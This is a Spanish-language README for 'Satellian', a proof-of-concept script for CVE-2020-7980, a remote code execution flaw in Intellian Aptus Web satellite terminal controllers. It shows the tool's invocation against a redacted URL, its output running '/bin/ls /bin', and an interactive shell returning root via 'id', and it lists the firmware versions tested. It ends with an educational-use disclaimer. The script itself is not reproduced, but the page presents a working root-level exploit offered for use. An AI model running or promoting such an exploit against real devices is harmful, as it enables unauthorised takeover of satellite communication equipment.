Satellian-CVE-2020-7980

Satellian es un script PoC que muestra una vulnerabilidad RCE sobre el controlador satelital Intellian (Intellian Aptus Web).

El siguiente script intentará listar todos los binarios del sistema y posteriormente permitirá al probador interactuar directamente con el servidor (normalmente como root).

PoC

xh4h@Macbook-xh4h ~/Satellian> python satellian.py -u http://<redacted>
                  ________________________________________
         (__)    /                                        \
         (oo)   (     Intellian Satellite Terminal PoC     )
  /-------\/ --' \________________________________________/ 
 / |     ||
*  ||----||             

Performing initial scan. Listing available system binaries.
Starting request to http://<redacted>
Executing command /bin/ls /bin
acu_server
acu_tool
addgroup
adduser
...

Satellian $ id
uid=0(root) gid=0(root)

Versiones probadas

Intellian v1.12, v1.21, v1.24.

Aviso legal

Toda la información en este repositorio tiene únicamente fines educativos. El autor del repositorio no se hace responsable en modo alguno del mal uso de la información. Este script es solo una prueba de concepto y no ha sido desarrollado de ninguna manera para actividades maliciosas.